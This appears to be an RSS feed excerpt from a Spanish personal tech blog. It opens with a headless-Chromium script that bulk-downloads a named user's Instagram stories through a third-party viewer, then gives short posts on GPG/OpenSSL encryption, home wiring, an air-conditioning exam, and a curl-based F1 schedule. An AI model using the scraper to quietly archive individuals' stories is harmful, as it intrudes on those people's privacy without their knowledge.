</span></span></span><span style="display:flex;"><span><span style="color:#75715e"># Descargar historias de Instagram desde iqsaved.com usando chromium headless</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>USERNAME<span style="color:#f92672">=</span><span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>1<span style="color:#66d9ef">:-</span><span style="color:#e6db74">}</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>OUTPUT_DIR<span style="color:#f92672">=</span><span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>2<span style="color:#66d9ef">:-</span>./instagram_stories<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> -z <span style="color:#e6db74">"</span>$USERNAME<span style="color:#e6db74">"</span> <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"Uso: </span>$0<span style="color:#e6db74"> <nombre_usuario> [directorio_salida]"</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"Ejemplo: </span>$0<span style="color:#e6db74"> male_leoncini /tmp/mis_historias"</span>
</span></span><span style="display:flex;"><span> exit <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>URL<span style="color:#f92672">=</span><span style="color:#e6db74">"https://iqsaved.com/viewer/</span>$USERNAME<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"Descargando historias de: </span>$URL<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>mkdir -p <span style="color:#e6db74">"</span>$OUTPUT_DIR<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>cd <span style="color:#e6db74">"</span>$OUTPUT_DIR<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Iniciar chromium con modo headless y debug remoto</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"Iniciando chromium..."</span>
</span></span><span style="display:flex;"><span>chromium --headless --disable-gpu --no-sandbox --remote-debugging-port<span style="color:#f92672">=</span><span style="color:#ae81ff">9222</span> <span style="color:#e6db74">"</span>$URL<span style="color:#e6db74">"</span> > /dev/null 2>&<span style="color:#ae81ff">1</span> &
</span></span><span style="display:flex;"><span>CHROME_PID<span style="color:#f92672">=</span>$!
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Esperar a que chrome este listo</span>
</span></span><span style="display:flex;"><span>sleep <span style="color:#ae81ff">4</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Obtener WebSocket URL de la pagina</span>
</span></span><span style="display:flex;"><span>WS_URL<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>curl -s http://localhost:9222/json | python3 -c <span style="color:#e6db74">"
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">import sys, json
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">pages = json.load(sys.stdin)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">target = [p for p in pages if '</span>$USERNAME<span style="color:#e6db74">' in p.get('url','') or 'iqsaved' in p.get('url','')]
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">if target:
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> print(target[0]['webSocketDebuggerUrl'])
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">"</span> 2>/dev/null<span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> -z <span style="color:#e6db74">"</span>$WS_URL<span style="color:#e6db74">"</span> <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"Error: No se pudo obtener WebSocket URL"</span>
</span></span><span style="display:flex;"><span> kill $CHROME_PID 2>/dev/null
</span></span><span style="display:flex;"><span> exit <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"WebSocket: </span>$WS_URL<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Instalar ws si no existe</span>
</span></span><span style="display:flex;"><span>WS_DIR<span style="color:#f92672">=</span><span style="color:#e6db74">"/tmp/ws_cdp"</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> ! -d <span style="color:#e6db74">"</span>$WS_DIR<span style="color:#e6db74">"</span> <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> mkdir -p <span style="color:#e6db74">"</span>$WS_DIR<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> cd <span style="color:#e6db74">"</span>$WS_DIR<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> npm init -y > /dev/null 2>&<span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span> npm install ws > /dev/null 2>&<span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Crear script para extraer URLs</span>
</span></span><span style="display:flex;"><span>cat > <span style="color:#e6db74">"</span>$WS_DIR<span style="color:#e6db74">/get_stories.js"</span> <span style="color:#e6db74"><< 'SCRIPT_EOF'
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">const WebSocket = require('ws');
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">const ws = new WebSocket(process.argv[2]);
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">let cmdId = 0;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">const send = (method, params={}) => {
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> return new Promise((resolve) => {
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> const id = ++cmdId;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> ws.send(JSON.stringify({id, method, params}));
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> ws.once('message', (msg) => {
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> const data = JSON.parse(msg);
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> resolve(data.result || data);
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> });
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> });
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">};
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">ws.on('open', async () => {
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> console.error('Esperando que carguen las historias (12s)...');
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> await new Promise(r => setTimeout(r, 12000));
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> const r = await send('Runtime.evaluate', {
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> expression: `JSON.stringify({
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> downloads: [...document.querySelectorAll('a[download],a[href$=".mp4"],a[href$=".jpg"]')]
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> .map(a => ({href: a.href, text: a.getAttribute('download') || a.text.trim()}))
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> .filter(a => a.href.includes('cdn.iqsaved'))
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> })`
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> });
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> // El resultado viene anidado: r.result.value es un string JSON
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> const value = r.result ? r.result.value : r.value;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> process.stdout.write(value);
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> ws.close();
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">});
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">ws.on('error', e => { console.error('Error:', e.message); process.exit(1); });
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">SCRIPT_EOF</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Ejecutar y extraer URLs (solo stdout, ignorar stderr)</span>
</span></span><span style="display:flex;"><span>JSON_RESULT<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>cd <span style="color:#e6db74">"</span>$WS_DIR<span style="color:#e6db74">"</span> <span style="color:#f92672">&&</span> node get_stories.js <span style="color:#e6db74">"</span>$WS_URL<span style="color:#e6db74">"</span> 2>/dev/null<span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Cerrar chromium</span>
</span></span><span style="display:flex;"><span>kill $CHROME_PID 2>/dev/null
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Parsear y descargar</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"</span>$JSON_RESULT<span style="color:#e6db74">"</span> | python3 -c <span style="color:#e6db74">"
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">import sys, json, subprocess, re, os
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">from urllib.parse import unquote
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">try:
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> data = json.load(sys.stdin)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> downloads = data.get('downloads', [])
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> if not downloads:
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> print('No se encontraron descargas')
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> sys.exit(0)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> print(f'Encontrados {len(downloads)} archivos')
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> for i, item in enumerate(downloads, 1):
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> url = item['href']
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> # Extraer nombre de archivo o generar uno
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> if 'filename=' in url:
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> fname = url.split('filename=')[1].split('&')[0]
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> fname = unquote(fname)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> else:
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> fname = f'file_{i}'
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> # Determinar extension
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> if '.mp4' in fname:
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> ext = 'mp4'
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> elif '.jpg' in fname or '.jpeg' in fname:
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> ext = 'jpg'
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> else:
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> ext = 'bin'
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> outfile = f'{i}.{ext}'
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> # Skip if already exists and has content
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> if os.path.exists(outfile) and os.path.getsize(outfile) > 1000:
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> print(f'Omitiendo {outfile} (ya existe)')
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> continue
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> print(f'Descargando {outfile}...')
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> subprocess.run(['wget', '-q', '-O', outfile, url], check=True)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> print('Descarga completa!')
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">except Exception as e:
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> print(f'Error: {e}')
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> sys.exit(1)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"Archivos en: </span><span style="color:#66d9ef">$(</span>pwd<span style="color:#66d9ef">)</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>ls -la
</span></span></code></pre></div>
-
Educación futuro
https://imlauera.github.io/educacion_futuro/
Mon, 01 Jan 0001 00:00:00 +0000
https://imlauera.github.io/educacion_futuro/
<p>Aprender algo es más fácil gracias a la AI podés generar un juego de preguntas, o de cualquier cosa basado en un texto, es una forma mucho más dinámica y efectiva de aprendizaje.</p>
-
Electricidad hogar y como soldar capilar
https://imlauera.github.io/post/electricidad_hogar/
Mon, 01 Jan 0001 00:00:00 +0000
https://imlauera.github.io/post/electricidad_hogar/
<h3 id="audio-en-youtube">Audio en youtube</h3>
<p><a href="https://youtu.be/aMZK3iLUh9c">https://youtu.be/aMZK3iLUh9c</a></p>
<h3 id="audio-en-invidious">Audio en invidious</h3>
<p><a href="https://redirect.invidious.io/watch?v=aMZK3iLUh9c">https://redirect.invidious.io/watch?v=aMZK3iLUh9c</a></p>
<h3 id="audio-en-vocaroo">Audio en vocaroo</h3>
<p><a href="https://vocaroo.com/19zEO140D7DU">https://vocaroo.com/19zEO140D7DU</a></p>
<h3 id="audio-en-archive">Audio en archive</h3>
<p><a href="https://archive.org/details/output_202410">https://archive.org/details/output_202410</a></p>
<p><img src="https://imlauera.github.io/img/electricidad_hogar/IMG_20241006_211802918.jpg" alt="electricidad">
<img src="https://imlauera.github.io/img/electricidad_hogar/IMG_20241006_211822126.jpg" alt="electricidad"></p>
<p>Telefono:</p>
<p><img src="https://imlauera.github.io/img/electricidad_hogar/IMG_20241006_211837878.jpg" alt="electricidad">
<img src="https://imlauera.github.io/img/electricidad_hogar/IMG_20241006_211904142.jpg" alt="electricidad"></p>
<p>Térmica calle.</p>
<p><img src="https://imlauera.github.io/img/electricidad_hogar/IMG_20241006_212150575.jpg" alt="electricidad">
<img src="https://imlauera.github.io/img/electricidad_hogar/IMG_20241006_212452143.jpg" alt="electricidad">
<img src="https://imlauera.github.io/img/electricidad_hogar/IMG_20241006_212505760.jpg" alt="electricidad">
<img src="https://imlauera.github.io/img/electricidad_hogar/IMG_20241006_212521816.jpg" alt="electricidad">
<img src="https://imlauera.github.io/img/electricidad_hogar/IMG_20241006_212530629.jpg" alt="electricidad">
<img src="https://imlauera.github.io/img/electricidad_hogar/IMG_20241006_212700426.jpg" alt="electricidad">
<img src="https://imlauera.github.io/img/electricidad_hogar/IMG_20241006_214503258.jpg" alt="electricidad">
<img src="https://imlauera.github.io/img/electricidad_hogar/IMG_20241006_214536146.jpg" alt="electricidad">
<img src="https://imlauera.github.io/img/electricidad_hogar/IMG_20241006_214539548.jpg" alt="electricidad">
<img src="https://imlauera.github.io/img/electricidad_hogar/IMG_20241006_214543464.jpg" alt="electricidad">
<img src="https://imlauera.github.io/img/electricidad_hogar/IMG_20241006_214558449.jpg" alt="electricidad">
<img src="https://imlauera.github.io/img/electricidad_hogar/IMG_20241006_214611534.jpg" alt="electricidad">
<img src="https://imlauera.github.io/img/electricidad_hogar/IMG_20241006_214628133.jpg" alt="electricidad">
<img src="https://imlauera.github.io/img/electricidad_hogar/IMG_20241006_214639562.jpg" alt="electricidad">
<img src="https://imlauera.github.io/img/electricidad_hogar/IMG_20241006_214658686.jpg" alt="electricidad">
<img src="https://imlauera.github.io/img/electricidad_hogar/IMG_20241006_214701041.jpg" alt="electricidad">
<img src="https://imlauera.github.io/img/electricidad_hogar/IMG_20241006_214703710.jpg" alt="electricidad">
<img src="https://imlauera.github.io/img/electricidad_hogar/IMG_20241006_214706728.jpg" alt="electricidad">
<img src="https://imlauera.github.io/img/electricidad_hogar/IMG_20241006_214726074.jpg" alt="electricidad">
<img src="https://imlauera.github.io/img/electricidad_hogar/IMG_20241006_214729673.jpg" alt="electricidad">
<img src="https://imlauera.github.io/img/electricidad_hogar/IMG_20241006_214733248.jpg" alt="electricidad">
<img src="https://imlauera.github.io/img/electricidad_hogar/IMG_20241006_214741613.jpg" alt="electricidad">
<img src="https://imlauera.github.io/img/electricidad_hogar/IMG_20241006_214744365.jpg" alt="electricidad">
<img src="https://imlauera.github.io/img/electricidad_hogar/IMG_20241006_214811054.jpg" alt="electricidad">
<img src="https://imlauera.github.io/img/electricidad_hogar/IMG_20241006_214951676.jpg" alt="electricidad">
<img src="https://imlauera.github.io/img/electricidad_hogar/IMG_20241006_215031043.jpg" alt="electricidad">
<img src="https://imlauera.github.io/img/electricidad_hogar/IMG_20241006_215050453.jpg" alt="electricidad"></p>
<p>Como conectar capilar a caño, recomendaciones sobre como agarrar bien el capilar al caño.</p>
<p><img src="https://imlauera.github.io/img/electricidad_hogar/IMG_20241006_220710547.jpg" alt="electricidad"></p>
-
Enviar archivo cifrado
https://imlauera.github.io/post/enviar_correo_cifrado/
Mon, 01 Jan 0001 00:00:00 +0000
https://imlauera.github.io/post/enviar_correo_cifrado/
<p><a href="https://www.youtube.com/watch?v=DMGIlj7u7Eo">https://www.youtube.com/watch?v=DMGIlj7u7Eo</a></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>gpg --gen-key
</span></span><span style="display:flex;"><span>gpg --armor --export [email protected] > public_key.asc
</span></span><span style="display:flex;"><span>gpg --encrypt --recipient <span style="color:#e6db74">'[email protected]'</span> --output confidential.txt.enc secret.txt
</span></span><span style="display:flex;"><span>gpg --decrypt --output secret.txt confidential.txt.enc
</span></span><span style="display:flex;"><span>cat secret.txt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>gpg --import publickey.gpg
</span></span><span style="display:flex;"><span>gpg --import < publickey.gpg
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>openssl rand -out secret.key <span style="color:#ae81ff">32</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>openssl aes-256-cbc -in secretfile.txt -out secretfile.txt.enc -pass file:secret.key
</span></span></code></pre></div><p><a href="https://medium.com/@michaelmeade3/using-gpg-71c6ae7c6199">https://medium.com/@michaelmeade3/using-gpg-71c6ae7c6199</a>
<a href="https://archive.is/Zhz4T">https://archive.is/Zhz4T</a></p>
<p><a href="https://superuser.com/questions/576506/how-to-use-ssh-rsa-public-key-to-encrypt-a-text">https://superuser.com/questions/576506/how-to-use-ssh-rsa-public-key-to-encrypt-a-text</a></p>
<p><a href="https://www.bjornjohansen.com/encrypt-file-using-ssh-key">https://www.bjornjohansen.com/encrypt-file-using-ssh-key</a></p>
<p><a href="https://superuser.com/questions/576506/how-to-use-ssh-rsa-public-key-to-encrypt-a-text">https://superuser.com/questions/576506/how-to-use-ssh-rsa-public-key-to-encrypt-a-text</a></p>
<p>Note that this only works if the file is small enough. e.g. 200 bytes.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ssh-keygen -f ~/.ssh/id_rsa.pub -e -m PKCS8 > id_rsa.pem.pub
</span></span><span style="display:flex;"><span>openssl rsautl -encrypt -pubin -inkey id_rsa.pem.pub -ssl -in myMessage.txt -out myEncryptedMessage.txt
</span></span></code></pre></div><h4 id="usando-ssh-public-key-para-cifrar-un-archivo">Usando ssh public key para cifrar un archivo</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Recently I had to send a password to someone over Skype. Since that's obviously not a good idea, I asked for </span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># the person's public SSH RSA key, and used it to encrypt the password itself.</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Convert the public key into PEM format</span>
</span></span><span style="display:flex;"><span>ssh-keygen -f path/to/id_rsa.pub -e -m pem > ~/id_rsa.pub.pem
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Using the public pem file to encrypt a string</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"sometext"</span> | openssl rsautl -encrypt -pubin -inkey ~/id_rsa.pub.pem > ~/encrypted.txt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Or a file</span>
</span></span><span style="display:flex;"><span>cat ~/some_file.txt | openssl rsautl -encrypt -pubin -inkey ~/id_rsa.pub.pem > ~/encrypted.txt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># To decrypt, you'll need the private key</span>
</span></span><span style="display:flex;"><span>cat ~/encrypted.txt | openssl rsautl -decrypt -inkey path/to/id_rsa > ~/decrypted.txt
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ssh-keygen -f id_rsa.pub -e -m pem > ~/id_rsa.pub.pem
</span></span><span style="display:flex;"><span>cat mensaje_secreto.txt | openssl rsautl -encrypt -pubin -inkey ~/id_rsa.pub.pem > ~/encrypted.txt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>split -b <span style="color:#ae81ff">200</span> -d secret.txt en_partes
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> i in *en_partes*; <span style="color:#66d9ef">do</span> cat $i | openssl rsautl -encrypt -pubin -inkey ~/id_rsa.pub.pem > ~/mensajecifrado$i.txt ; <span style="color:#66d9ef">done</span> <span style="color:#e6db74">```</span>
</span></span></code></pre></div>
-
Estafa ponzi
https://imlauera.github.io/estafa_ponzi/
Mon, 01 Jan 0001 00:00:00 +0000
https://imlauera.github.io/estafa_ponzi/
<p>Pagar con el dinero de los nuevos inversionistas a los viejos inversionistas. Sin tener ninguna actividad comercial.</p>
-
Examen final aires acondicionados
https://imlauera.github.io/examen_final_airesacondicionados/
Mon, 01 Jan 0001 00:00:00 +0000
https://imlauera.github.io/examen_final_airesacondicionados/
<p>El examen tiene muchas preguntas que son FALSOS multiple-choice.</p>
<ol>
<li>¿Qué refrigerante conoce para aire acondicionado, ¿cuáles son sus presiones para cada tipo y que distancia de caño como mínimo deben tener?</li>
<li>¿Qué formas de realizar un balance térmico conoce?</li>
<li>¿Por cuál caño debo cargar refrigerante?</li>
</ol>
<ul>
<li>Por alta</li>
<li>Por retorno</li>
<li>Por el capilar</li>
</ul>
<ol start="4">
<li>¿Con qué se mide la presión de un refrigerante y que escala conoce?</li>
<li>Para buscar una fuga de refrigerante: ¿qué debo tener en cuenta y como la realizo?</li>
<li>El evaporador se encuentra:</li>
</ol>
<ul>
<li>En la unidad exterior</li>
<li>En la unidad exterior
(Acá fue un error del examen y hubo que escribir manualmente en la unidad interior)</li>
</ul>
<ol start="7">
<li>Al instalar un equipo ¿de qué forma deben estar los robinetes?</li>
</ol>
<ul>
<li>Abierto</li>
<li>Cerrado</li>
</ul>
<ol start="8">
<li>
<p>Describa los procedimientos para la instalación de un aire acondicionado split.</p>
-
Exif Viewer
https://imlauera.github.io/post/exif-viewer/
Mon, 01 Jan 0001 00:00:00 +0000
https://imlauera.github.io/post/exif-viewer/
<p><a href="https://www.geeksforgeeks.org/installing-and-using-exiftool-on-linux/">https://www.geeksforgeeks.org/installing-and-using-exiftool-on-linux/</a></p>
-
Formas compartir un archivo
https://imlauera.github.io/formas_pasar_archivo/
Mon, 01 Jan 0001 00:00:00 +0000
https://imlauera.github.io/formas_pasar_archivo/
<p>Compartirlo por SAMBA (Archivos compartidos de Windows).<br>
Pasarlo por WhatsApp.<br>
Levantar un servidor web de Python en LAN.<br>
Subirlo a <a href="https://drive.google.com">https://drive.google.com</a> , <a href="https://mega.com">https://mega.com</a> , <a href="https://mediafire.com">https://mediafire.com</a> , <a href="https://archive.org/upload">https://archive.org/upload</a> , <a href="https://catbox.moe">https://catbox.moe</a></p>
-
Formula1: horarios desde la terminal
https://imlauera.github.io/formula1/
Mon, 01 Jan 0001 00:00:00 +0000
https://imlauera.github.io/formula1/
<p>Guardá el siguiente script en scripts/f1exposure.sh luego agregá un alias f1 ‘bash scripts/f1exposure.sh’ y gualá.</p>
<p>OJO! Si estás en Linux el encoding no debe ser DOS, si te tira \r: command not found es porque estás usando el encoding de windows, usualmente se soluciona creando un archivo nuevo.</p>
<p>Podés chequearlo con bash -x <code>scripts/f1exposure.sh</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/usr/bin/sh
</span></span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"Los tiempos están en UTC. Coordinated Universal Time está 3 horas adelantado a Buenos Aires"</span>
</span></span><span style="display:flex;"><span>curl <span style="color:#e6db74">"https://f1exposure.com/f1exposure/countdown?mode=0"</span> -H <span style="color:#e6db74">"Accept: application/json, text/plain, */*"</span> -H <span style="color:#e6db74">'Accept-Language: en-US,en;q=0.8'</span> -H <span style="color:#e6db74">'Client: 36aed15c-f2ca-40a0-ae6d-96d82091df99'</span> -H <span style="color:#e6db74">'Connection: keep-alive'</span> -H <span style="color:#e6db74">'Content-Type: application/json'</span> -H <span style="color:#e6db74">'Cookie: _ga=GA1.1.185284743.1738591811; _ga_7SC6WMLXPL=GS1.1.1738591810.1.1.1738592298.0.0.0'</span> -H <span style="color:#e6db74">'Sec-Fetch-Dest: empty'</span> -H <span style="color:#e6db74">'Sec-Fetch-Mode: cors'</span> -H <span style="color:#e6db74">'Sec-Fetch-Site: same-origin'</span> -H <span style="color:#e6db74">'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) QtWebEngine/6.8.1 Chrome/122.0.6261.171 Safari/537.36'</span> -H <span style="color:#e6db74">'sec-ch-ua: "Not(A:Brand";v="24", "Chromium";v="122"'</span> -H <span style="color:#e6db74">'sec-ch-ua-mobile: ?0'</span> -H <span style="color:#e6db74">'sec-ch-ua-platform: "Linux"'</span>| jq .
</span></span></code></pre></div>
-
Genera nueva publicacion nobloatnews
https://imlauera.github.io/generar_nueva_publicacion/
Mon, 01 Jan 0001 00:00:00 +0000
https://imlauera.github.io/generar_nueva_publicacion/
<p>Uso este pequeño script para cargar todas las imagenes sin escribirlas manualmente.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/sh
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> $# -lt <span style="color:#ae81ff">2</span> <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"Uso: </span>$0<span style="color:#e6db74"> <nombre-archivo> \"<titulo con espacios>\" <ruta del directorio de imagenes(opcional)> <tag_name_archive(opcional)>"</span>
</span></span><span style="display:flex;"><span> exit;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>year<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>date +%Y<span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>month<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>date +%m<span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>name_month<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>date +%B<span style="color:#66d9ef">)</span>
